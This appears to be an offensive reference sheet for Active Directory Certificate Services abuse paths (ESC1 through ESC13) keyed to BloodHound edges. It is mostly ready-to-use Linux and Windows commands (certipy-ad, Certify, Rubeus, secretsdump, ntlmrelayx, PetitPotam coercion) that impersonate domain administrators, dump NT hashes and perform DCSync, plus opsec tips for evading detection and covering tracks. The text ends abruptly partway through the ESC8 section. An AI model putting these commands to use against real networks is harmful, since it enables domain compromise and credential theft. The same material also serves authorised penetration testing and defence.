BloodHound CE edge abuse reference β 66 edges Β· 3 collectors.
ADCSESC1
ESC1: SAN abuse β enroll in a template with Client Authentication EKU where enrollee supplies Subject Alternative Name, allowing impersonation of any AD user including Domain Admins.
Applies to: Users/Computers with Enroll rights β vulnerable certificate template β Enterprise CA
Linux Abuse
certipy-ad
# Step 1: Find vulnerable templates
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Step 2: Request cert with arbitrary UPN (impersonate target)
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>' \
-upn <target-user>@<domain>
# Step 2a: With SID (required if strong cert mapping enforced)
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>' \
-upn <target-user>@<domain> \
-sid 'S-1-5-21-<domain-sid>-<rid>'
# Step 3: Authenticate β get NT hash + TGT
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
# Step 4: PTH / secretsdump
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/Administrator@<dc-ip>'
Impacket (pass-the-hash after auth)
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<target-user>@<dc-ip>'
wmiexec.py -hashes ':<ntlm-hash>' '<domain>/<target-user>@<dc-ip>'
Windows Abuse
Certify.exe + Rubeus
# Step 1: Find vulnerable templates
Certify.exe find /vulnerable
# Step 2: Request certificate with target UPN
Certify.exe request /ca:<ca-host>\<ca> /template:<template> /upn:<target-user>@<domain> /sid:S-1-5-21-<domain-sid>-<rid>
# Convert PEM to PFX (openssl on attacker box, or use Certify output)
openssl pkcs12 -in cert.pem -keyfile key.pem -export -out <target-user>.pfx
# Step 3: Request TGT and inject
Rubeus.exe asktgt /user:<target-user> /domain:<domain> /certificate:<pfx-base64> /password:<pfx-password> /ptt
# Verify
klist
Opsec
- CA stores a copy of every issued certificate in its Issued Certificates store β defenders can identify the requesting principal and the impersonated UPN.
- Prefer enrolling as a low-privilege account; the requesting identity is logged, not the impersonated one.
- Clean up: the PFX and any exported certs should be deleted post-exploitation.
ADCSESC10a
ESC10a: Weak certificate mapping (StrongCertificateBindingEnforcement = 0 or 1) + GenericWrite on a user account β change victim's UPN to match a target user, enroll a cert, reset UPN, authenticate as target (no SID required in cert because mapping is weak).
Applies to: Principals with GenericWrite on a user account β any Client Auth template β DC with StrongCertificateBindingEnforcement disabled/compatibility mode (registry value 0 or 1)
Linux Abuse
certipy-ad
# Step 1: Verify weak cert mapping on DC
# (StrongCertificateBindingEnforcement = 0 or 1 in HKLM\SYSTEM\CurrentControlSet\Services\Kdc)
# Check via certipy find or BloodHound ADCSESC10a edge
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Step 2: Change victim's UPN to target user's UPN
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user <victim-user> -upn <target-user>@<domain>
# Step 3: Check/set mail attribute if template requires it
ldapsearch -x -D '<attacker-dn>' -w '<password>' -h <dc-ip> -b '<victim-dn>' mail
echo -e "dn: <victim-dn>\nchangetype: modify\nreplace: mail\nmail: test@mail.com" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Step 4: Get victim credentials (shadow creds / password reset)
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-account <victim-user>
# Note victim hash
# Step 5: Enroll cert as victim (UPN = target)
certipy-ad req -u <victim-user>@<domain> -hashes ':<victim-ntlm>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>'
# Output: <target-user>.pfx
# Step 6: Restore victim's UPN immediately
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user <victim-user> -upn <victim-user>@<domain>
# Step 7: Authenticate as target user
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip> -ldap-shell
# Or standard auth:
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
# Step 8: PTH
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<target-user>@<dc-ip>'
Windows Abuse
Certify.exe (Windows executable) + PowerView
# Step 1: Record victim's current UPN
Get-DomainObject -Identity <victim-user> -Properties userprincipalname
# Step 2: Modify victim UPN to target
Set-DomainObject -Identity <victim-user> -Set @{'userprincipalname'='<target-user>@<domain>'}
# Step 3: Set mail if required
Set-DomainObject -Identity <victim-user> -Set @{'mail'='dummy@mail.com'}
# Step 4: Enroll cert (Certipy Windows exe or Certify)
Certipy.exe req -u <victim-user>@<domain> -p '<victim-password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>'
# Or:
# Certify.exe request /ca:<ca-host>\<ca> /template:<template>
# Step 5: Reset UPN
Certipy.exe account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user <victim-user> -upn <victim-user>@<domain>
# Step 6: Authenticate
Certipy.exe auth -pfx <target-user>.pfx -dc-ip <dc-ip> -ldap-shell
# Alternative: Rubeus TGT
Rubeus.exe asktgt /user:<target-user> /domain:<domain> /certificate:<pfx-base64> /ptt
klist
Opsec
- UPN changes logged as Event ID 4738 (user account changed).
- Restore UPN immediately β the window between UPN change and cert enrollment is the detection opportunity.
- Works only while
StrongCertificateBindingEnforcementis 0 (disabled) or 1 (compatibility); patched DCs in enforcement mode (2) will reject the cert. - CA retains issued cert with victim account as requester and target UPN as subject.
ADCSESC10b
ESC10b: Weak certificate mapping (CertificateMappingMethods includes UPN/SAN) + GenericWrite on a computer account β strip SPNs, change victim computer's dNSHostName to target computer's FQDN, enroll cert, restore, authenticate as target computer.
Applies to: Principals with GenericWrite on a computer account β any Machine Auth template β DC with CertificateMappingMethods including 0x4 (subject/issuer) or weak binding
Linux Abuse
certipy-ad
# Step 1: Confirm ESC10b condition
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Step 2: Remove conflicting SPNs from victim computer
ldapsearch -x -D '<attacker-dn>' -w '<password>' -h <dc-ip> \
-b '<victim-computer-dn>' servicePrincipalName
echo -e "dn: <victim-computer-dn>\nchangetype: modify\ndelete: servicePrincipalName\nservicePrincipalName: HOST/<victim-computer>" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Also remove RestrictedKrbHost SPN if present:
echo -e "dn: <victim-computer-dn>\nchangetype: modify\ndelete: servicePrincipalName\nservicePrincipalName: RestrictedKrbHost/<victim-computer>" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Step 3: Change victim computer dNSHostName to target computer FQDN
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user '<victim-computer>$' -dns <target-computer>.<domain>
# Step 4: Set mail if required
echo -e "dn: <victim-computer-dn>\nchangetype: modify\nreplace: mail\nmail: dummy@mail.com" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Step 5: Get victim computer credentials
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-account '<victim-computer>$'
# Step 6: Enroll cert as victim computer (dNSHostName = target FQDN)
certipy-ad req -u '<victim-computer>$@<domain>' -hashes ':<victim-ntlm>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>'
# Output: <target-computer>.pfx
# Step 7: Restore dNSHostName
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user '<victim-computer>$' -dns <victim-computer>.<domain>
# Step 8: Authenticate as target computer
certipy-ad auth -pfx <target-computer>.pfx -dc-ip <dc-ip> -ldap-shell
# Step 9: If target is DC β DCSync
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<target-computer>$@<dc-ip>'
Windows Abuse
PowerView + Certify.exe + Rubeus
# Step 1: Remove SPNs
Set-DomainObject -Identity '<victim-computer>$' -Clear serviceprincipalname
# Or set a non-conflicting one:
Set-DomainObject -Identity '<victim-computer>$' -Set @{'serviceprincipalname'='HOST/<victim-computer>'}
# Step 2: Change dNSHostName
Set-DomainObject -Identity '<victim-computer>$' -Set @{'dnshostname'='<target-computer>.<domain>'}
# Step 3: Set mail if required
Set-DomainObject -Identity '<victim-computer>$' -Set @{'mail'='dummy@mail.com'}
# Step 4: Enroll cert as victim computer
Certipy.exe req -u '<victim-computer>$@<domain>' -p '<victim-password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>'
# Step 5: Restore dNSHostName
Certipy.exe account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user '<victim-computer>$' -dns <victim-computer>.<domain>
# Step 6: Authenticate
Certipy.exe auth -pfx <target-computer>.pfx -dc-ip <dc-ip> -ldap-shell
# Alternative TGT via Rubeus
Rubeus.exe asktgt /user:'<target-computer>$' /domain:<domain> /certificate:<pfx-base64> /ptt
Opsec
- SPN and dNSHostName changes are logged (Event ID 4742).
- Restore both attributes immediately after enrollment.
- CertificateMappingMethods registry key on DC:
HKLM\SYSTEM\CurrentControlSet\Services\Kdcβ value must include 0x4 for this to work. - CA retains issued cert; victim computer account is the logged requester.
ADCSESC13
ESC13: OID group link (msDS-OIDToGroupLink) β enroll in a template whose issuance policy OID is linked to a privileged AD group; authenticating with the issued cert grants membership in that group for the duration of the logon session.
Applies to: Users/Computers with Enroll rights β certificate template with issuance policy linked to a privileged group via msDS-OIDToGroupLink β Enterprise CA
Linux Abuse
certipy-ad
# Step 1: Find vulnerable templates with OID group links
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Look for templates where "Group" appears in the output β this is the linked privileged group
# Step 2: Enroll in the ESC13-vulnerable template
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>'
# Output: <username>.pfx
# Step 3: Authenticate β the resulting TGT/session will include the linked group membership
certipy-ad auth -pfx <username>.pfx -dc-ip <dc-ip>
# Returns NT hash; the LDAP session / TGT will have the OID-linked group in the PAC
# Step 4: Use the hash with tools that respect group membership from PKINIT
# Pass-the-hash for LDAP access (the group membership is in the Kerberos PAC)
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<username>@<dc-ip>'
# Or use the TGT directly for services where group membership matters
export KRB5CCNAME=<username>.ccache
klist
Windows Abuse
Certify.exe + Rubeus
# Step 1: Find templates with OID group links
Certify.exe find /vulnerable
# Step 2: Enroll in ESC13 template
Certify.exe request /ca:<ca-host>\<ca> /template:<template>
# Step 3: Request TGT β PAC will contain the linked group's SID
Rubeus.exe asktgt /user:<username> /domain:<domain> /certificate:<pfx-base64> /password:<pfx-password> /ptt
# Step 4: Verify group membership in TGT
klist
whoami /groups
# Should show the OID-linked privileged group (e.g., Enterprise Admins, specific admin group)
Understanding the Impact
# Identify which group the OID links to (from certipy find output or BloodHound)
# The linked group is specified in the OID object's msDS-OIDToGroupLink attribute
# Common high-value targets: Domain Admins, Enterprise Admins, custom privileged groups
# After TGT injection, access privileged resources
dir \\<dc-ip>\c$
net use \\<dc-ip>\c$ /user:<domain>\<username>
Opsec
- Enrollment itself appears as a normal certificate request β no anomalous attributes in the cert.
- The group membership is granted via the Kerberos PAC from PKINIT, not via actual AD group membership.
- CA retains issued cert in Issued Certificates store.
- Detection: monitor certificate issuance for templates with OID group links, especially where the enroller is not an expected member of the linked group.
ADCSESC3
ESC3: Enrollment Agent abuse β enroll in a Certificate Request Agent template, then use the agent certificate to enroll on behalf of any user (including Domain Admins) in a second template.
Applies to: Users/Computers with Enroll rights β Certificate Request Agent template + target enrollment template β Enterprise CA
Linux Abuse
certipy-ad (two-stage)
# Step 1: Find vulnerable templates
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Step 2: Enroll in the Certificate Request Agent template
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<agent-template>'
# Output: <username>_agent.pfx
# Step 3: Use agent cert to enroll on behalf of target user
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<auth-template>' \
-on-behalf-of '<domain>\<target-user>' \
-pfx <username>_agent.pfx
# Output: <target-user>.pfx
# Step 4: Authenticate β get NT hash + TGT
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
# Step 5: PTH
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<target-user>@<dc-ip>'
Windows Abuse
Certify.exe + Rubeus
# Step 1: Find vulnerable templates
Certify.exe find /vulnerable
# Step 2: Enroll in the Enrollment Agent template
Certify.exe request /ca:<ca-host>\<ca> /template:<agent-template>
# Save the issued cert as agent.pfx
# Step 3: Request cert on behalf of target user using agent cert
Certify.exe request /ca:<ca-host>\<ca> /template:<auth-template> \
/onbehalfof:<domain>\<target-user> /enrollcert:agent.pfx /enrollcertpw:<pfx-password>
# Step 4: Request TGT and inject
Rubeus.exe asktgt /user:<target-user> /domain:<domain> \
/certificate:<pfx-base64> /password:<pfx-password> /ptt
# Verify
klist
Notes
- Missing
mailattribute: If the template requires it, setmailon the victim account or the enrollment will fail. - Missing
dNSHostName(computer accounts): Set it on the victim computer object if the template requires it. - The agent certificate must have the Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1).
Opsec
- CA retains issued certificates in its store β both the agent enrollment and the on-behalf-of issuance are logged.
- Two certificate issuance events appear; the requesting principal (attacker) and the subject (target) are both visible.
ADCSESC4
ESC4: Write permissions on a certificate template β modify template attributes (EKU, SAN flag, approval requirements) to create ESC1-exploitable conditions, then enroll.
Applies to: Principals with WriteProperty/WriteDacl/WriteOwner/GenericAll/GenericWrite on a CertTemplate object β Enterprise CA
Linux Abuse
certipy-ad (fastest path β auto-modify to ESC1)
# Step 1: Find writable templates
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Step 2: Save original config and overwrite template to ESC1-abusable state
certipy-ad template -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-template '<template>' -save-old
# Creates <template>.json with original config
# Step 3: Request cert with arbitrary UPN (now ESC1)
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>' \
-upn <target-user>@<domain>
# Step 4: Authenticate
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
# Step 5: Restore original template config (CRITICAL β cleanup)
certipy-ad template -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-template '<template>' -configuration <template>.json
Manual via Impacket (if WriteOwner/WriteDacl only)
# If WriteOwner: take ownership first
owneredit.py -action write -new-owner '<username>' \
-target-dn 'CN=<template>,CN=Certificate Templates,CN=Public Key Services,CN=Services,<config-nc>' \
'<domain>/<username>:<password>'
# Grant FullControl to self
dacledit.py -action write -rights FullControl -principal '<username>' \
-target-dn 'CN=<template>,CN=Certificate Templates,CN=Public Key Services,CN=Services,<config-nc>' \
'<domain>/<username>:<password>'
# Enable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (SAN flag = 1)
echo -e "dn: CN=<template>,CN=Certificate Templates,CN=Public Key Services,CN=Services,<config-nc>\nchangetype: modify\nreplace: msPKI-Certificate-Name-Flag\nmsPKI-Certificate-Name-Flag: 1" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Set Client Authentication EKU
echo -e "dn: CN=<template>,...\nchangetype: modify\nreplace: msPKI-Certificate-Application-Policy\nmsPKI-Certificate-Application-Policy: 1.3.6.1.5.5.7.3.2" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Disable manager approval (Enrollment-Flag = 0)
echo -e "dn: CN=<template>,...\nchangetype: modify\nreplace: msPKI-Enrollment-Flag\nmsPKI-Enrollment-Flag: 0" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Disable RA signature requirement
echo -e "dn: CN=<template>,...\nchangetype: modify\nreplace: msPKI-RA-Signature\nmsPKI-RA-Signature: 0" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Now proceed as ESC1
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>' \
-upn <target-user>@<domain>
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
Windows Abuse
PowerShell + Certify.exe + Rubeus
# Step 1: Take ownership (if WriteOwner)
$templateName = "<template>"
$principalName = "<username>"
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"
$acl = $template.psbase.ObjectSecurity
$account = New-Object System.Security.Principal.NTAccount($principalName)
$acl.SetOwner($account)
$template.psbase.CommitChanges()
# Step 2: Grant GenericAll to self
$sid = $account.Translate([System.Security.Principal.SecurityIdentifier])
$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule(
$sid,
[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
[System.Security.AccessControl.AccessControlType]::Allow
)
$acl.AddAccessRule($ace)
$template.psbase.CommitChanges()
# Step 3: Enable SAN flag (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
$template.Properties["msPKI-Certificate-Name-Flag"].Value = `
$template.Properties["msPKI-Certificate-Name-Flag"].Value -bxor 0x00000001
$template.CommitChanges()
# Step 4: Disable manager approval
$template.Properties["msPKI-Enrollment-Flag"].Value = `
$template.Properties["msPKI-Enrollment-Flag"].Value -band (-bnot 0x00000002)
$template.CommitChanges()
# Step 5: Enroll with SAN (ESC1 path)
Certify.exe request /ca:<ca-host>\<ca> /template:<template> /upn:<target-user>@<domain>
# Step 6: TGT
Rubeus.exe asktgt /user:<target-user> /domain:<domain> /certificate:<pfx-base64> /password:<pfx-password> /ptt
# Step 7: Cleanup β restore original flags
$template.Properties["msPKI-Certificate-Name-Flag"].Value = <original-value>
$template.CommitChanges()
Opsec
- Template modifications are logged in AD (Directory Service Changes audit) β restore original config immediately after exploitation.
certipy-ad template -save-oldis the safest approach for automated restore.- Issued certs remain in CA's store even after template is restored.
ADCSESC6a
ESC6a: EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled on CA + SID in SAN required β enroll in any Client Auth template and specify an arbitrary SAN with the target's SID to impersonate any user, including across forest trusts.
Applies to: Users/Computers with Enroll rights on any Client Auth template β Enterprise CA with EDITF_ATTRIBUTESUBJECTALTNAME2 set (strong cert mapping enforced; SID URL required)
Linux Abuse
certipy-ad
# Step 1: Confirm CA flag and find usable templates
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Step 2: Request cert with target UPN + SID URL
# Note: Certipy may not support -sid-url natively on all versions;
# use Certify on Windows for SID-URL inclusion, or use ESC6b (no strong mapping) path
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>' \
-upn <target-user>@<domain>
# Step 3: Authenticate
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
# Step 4: PTH
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<target-user>@<dc-ip>'
Windows Abuse
Certify.exe + Rubeus (supports SID URL)
# Step 1: Find vulnerable CA
Certify.exe find /vulnerable
# Step 2: Request cert with UPN + SID (required for strong cert mapping)
Certify.exe request /ca:<ca-host>\<ca> /template:<template> \
/upn:<target-user>@<domain> \
/sid:S-1-5-21-<domain-sid>-<target-rid>
# Step 3: TGT
Rubeus.exe asktgt /user:<target-user> /domain:<domain> \
/certificate:<pfx-base64> /ptt
# Verify
klist
Opsec
- CA flag
EDITF_ATTRIBUTESUBJECTALTNAME2is visible viacertutil -getreg policy\EditFlagsβ defenders actively check this. - All issued certs are logged in the CA's Issued Certificates store with the requesting principal identity visible.
- ESC6a differs from ESC6b in that strong cert mapping (KB5014754) is enforced β the SID must be embedded in the SAN for the cert to authenticate on patched DCs.
ADCSESC6b
ESC6b: EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled on CA (weak/no strong mapping) β enroll in any Client Auth template and specify an arbitrary UPN SAN to impersonate any user without needing a SID extension.
Applies to: Users/Computers with Enroll rights on any Client Auth template β Enterprise CA with EDITF_ATTRIBUTESUBJECTALTNAME2 set (strong cert mapping NOT enforced or disabled)
Linux Abuse
certipy-ad
# Step 1: Confirm CA flag and find usable templates
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Step 2: Request cert with arbitrary UPN (no SID required β weak mapping)
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>' \
-upn <target-user>@<domain>
# Output: <target-user>.pfx
# Step 3: Authenticate β get NT hash
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
# Step 4: PTH / secretsdump
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<target-user>@<dc-ip>'
Windows Abuse
Certify.exe + Rubeus
# Step 1: Find CA with EDITF_ATTRIBUTESUBJECTALTNAME2
Certify.exe find /vulnerable
# Step 2: Request cert with arbitrary UPN
Certify.exe request /ca:<ca-host>\<ca> /template:<template> /upn:<target-user>@<domain>
# Step 3: TGT
Rubeus.exe asktgt /user:<target-user> /domain:<domain> \
/certificate:<pfx-base64> /ptt
# Verify
klist
Verify CA flag (certutil)
certutil.exe -config "<ca-host>\<ca>" -getreg "policy\EditFlags"
# Look for EDITF_ATTRIBUTESUBJECTALTNAME2 (value 0x00014C02 includes it)
Opsec
- Simpler than ESC6a β no SID embedding needed, works on unpatched/misconfigured DCs.
- CA retains all issued certificates; requesting principal is logged alongside the spoofed UPN.
- The CA flag
EDITF_ATTRIBUTESUBJECTALTNAME2is a well-known indicator; defenders check withcertutil -getreg.
ADCSESC7a
ESC7a: ManageCA right on Enterprise CA β use it to enable EDITF_ATTRIBUTESUBJECTALTNAME2, turning the CA into an ESC6 condition, then enroll with arbitrary SAN.
Applies to: Principals with ManageCA (CA Administrator) right β Enterprise CA
Linux Abuse
certipy-ad
# Step 1: Confirm ManageCA right and enumerate CA
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Step 2: Add self as CA officer (needed to issue/approve certs)
certipy-ad ca -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -add-officer <username>
# Step 3: Enable EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA
certipy-ad ca -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -enable-flag EDITF_ATTRIBUTESUBJECTALTNAME2
# Step 4: Restart CA service to apply flag (may not always be required β test first)
# (Requires CA restart β may need admin on CA host)
# Step 5: Now exploit as ESC6b β request cert with arbitrary UPN
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>' \
-upn <target-user>@<domain>
# Step 6: Authenticate
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
# Cleanup: disable flag
certipy-ad ca -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -disable-flag EDITF_ATTRIBUTESUBJECTALTNAME2
Windows Abuse
PSPKI module
# Install PSPKI if not present
Install-Module -Name PSPKI -Force
Import-Module PSPKI
# Enable EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA
Get-CertificationAuthority -ComputerName <ca-host> | `
Enable-PolicyModuleFlag -Flag EDITF_ATTRIBUTESUBJECTALTNAME2
# Verify flag is set
Get-CertificationAuthority -ComputerName <ca-host> | Get-PolicyModuleFlag
# Or via certutil:
# certutil.exe -config "<ca-host>\<ca>" -getreg "policy\EditFlags"
# Now exploit as ESC6 β request cert with arbitrary UPN
Certify.exe request /ca:<ca-host>\<ca> /template:<template> /upn:<target-user>@<domain>
Rubeus.exe asktgt /user:<target-user> /domain:<domain> /certificate:<pfx-base64> /ptt
certutil (alternative β direct registry via DCOM)
$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "<ca-host>"
$configReader.SetRootNode($true)
# Read current EditFlags
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
# Set EditFlags with EDITF_ATTRIBUTESUBJECTALTNAME2 (0x00014C02)
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
Opsec
- Enabling
EDITF_ATTRIBUTESUBJECTALTNAME2is a highly visible CA-level change β it shows up in CA audit logs and is trivially detected by any ADCS audit. - The flag change persists across reboots; disable it immediately after obtaining the cert.
- CA admin actions are logged under the Security event log on the CA server (Event ID 4870, 4882).
ADCSESC7b
ESC7b: ManageCertificates (CA Officer) right β approve pending/failed certificate requests, enabling issuance of arbitrary certs by first requesting via SubCA template (denied), then force-issuing.
Applies to: Principals with ManageCertificates (Officer) right β Enterprise CA
Linux Abuse
certipy-ad (SubCA template attack)
# Step 1: Enumerate CA rights
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Step 2: Add self as officer (if ManageCA is also held β skip if already officer)
certipy-ad ca -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -add-officer <username>
# Step 3: Enable the SubCA template on the CA
certipy-ad ca -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -enable-template SubCA
# Step 4: Request cert via SubCA β this will be DENIED (manager approval required)
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template SubCA \
-upn <target-user>@<domain>
# Note the request ID from the output (e.g., Request ID: 785)
# Step 5: As officer, force-issue the denied request
certipy-ad ca -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -issue-request <request-id>
# Step 6: Retrieve the now-issued certificate
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -retrieve <request-id>
# Output: <target-user>.pfx
# Step 7: Authenticate
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
# Step 8: PTH
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<target-user>@<dc-ip>'
Windows Abuse
PSPKI module (approve pending request)
Import-Module PSPKI
# List pending requests
Get-CertificationAuthority -ComputerName <ca-host> | Get-PendingRequest
# Approve specific request by ID
Get-CertificationAuthority -ComputerName <ca-host> | `
Get-PendingRequest -RequestID <request-id> | `
Approve-CertificateRequest
# Request via SubCA template (will be denied β get request ID)
Certify.exe request /ca:<ca-host>\<ca> /template:SubCA /upn:<target-user>@<domain>
# After approval, retrieve cert
Certify.exe download /ca:<ca-host>\<ca> /id:<request-id>
# TGT
Rubeus.exe asktgt /user:<target-user> /domain:<domain> /certificate:<pfx-base64> /ptt
Opsec
- Approving certificate requests generates CA audit events (Event ID 4887).
- Enabling the SubCA template is logged as a CA configuration change.
- The issued certificate persists in the CA's Issued Certificates store.
- Disable the SubCA template and revoke the certificate post-exploitation.
ADCSESC8
ESC8: NTLM relay to AD CS HTTP enrollment endpoint β coerce a machine account's NTLM authentication, relay it to the CA's web enrollment interface, and obtain a certificate for that machine account.
Applies to: Network position to NTLM-relay β AD CS web enrollment (HTTP) endpoint (/certsrv/); no enrollment rights required on attacker account
Linux Abuse
certipy-ad relay (simplest β handles everything)
# Terminal 1: Start relay listener
certipy-ad relay -ca <ca-host> -template '<template>'
# Default template: Machine (for computer accounts), use DomainController for DCs
# Terminal 2: Coerce NTLM auth from target machine
# Option A β PetitPotam (unauthenticated in older Windows)
python3 PetitPotam.py <attacker-ip> <target-host>
# Option B β printerbug / SpoolSample
python3 printerbug.py '<domain>/<username>:<password>@<target-host>' <attacker-ip>
# Option C β DFSCoerce
python3 DFSCoerce.py -u '<username>' -p '<password>' -d '<domain>' <attacker-ip> <target-host>
# Certipy relay outputs: <target-computer>.pfx
# Authenticate with obtained machine cert
certipy-ad auth -pfx <target-computer>.pfx -dc-ip <dc-ip>
# Returns: machine account NT hash + TGT
# If targeting DC: perform secretsdump with machine account hash
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<target-computer>$@<dc-ip>'
ntlmrelayx (alternative β more control)
# Terminal 1: Start ntlmrelayx targeting CA web enrollment
ntlmrelayx.py -t "http://<ca-host>/certsrv/certfnsh.asp" \
--adcs --template '<template>' -smb2support
# Terminal 2: Coerce NTLM auth from target
python3 PetitPotam.py <attacker-ip> <target-host>
# ntlmrelayx outputs base64-encoded PFX
# Decode and save PFX
echo '<base64-pfx>' | base64 -d > <target-computer>.pfx
# Authenticate
certipy-ad auth -pfx <target-computer>.pfx -dc-ip <dc-ip>
# Or use Rubeus (pass to Windows)
# Rubeus.exe asktgt /user:<target-computer>$ /certificate:<pfx-base64> /ptt
Post-cert β DC machine account β DCSync
# Got DC machine account hash β perform DCSync
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<dc-name>$@<dc-ip>'
# Or use S4U2Self RBCD / pass-the-hash for shells
getST.py -spn 'cifs/<dc-host>' -hashes ':<ntlm-hash>' '<domain>/<dc-name>$'
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass '<domain>/Administrator@<dc-host>'
Windows Abuse
Certify.exe coercion + ntlmrelayx
# Terminal 1 (Linux attacker): Start relay
ntlmrelayx.py -t "http://<ca-host>/certsrv/certfnsh.asp" --adcs --template Machine
# Terminal 2 (Windows): Coerce auth from target
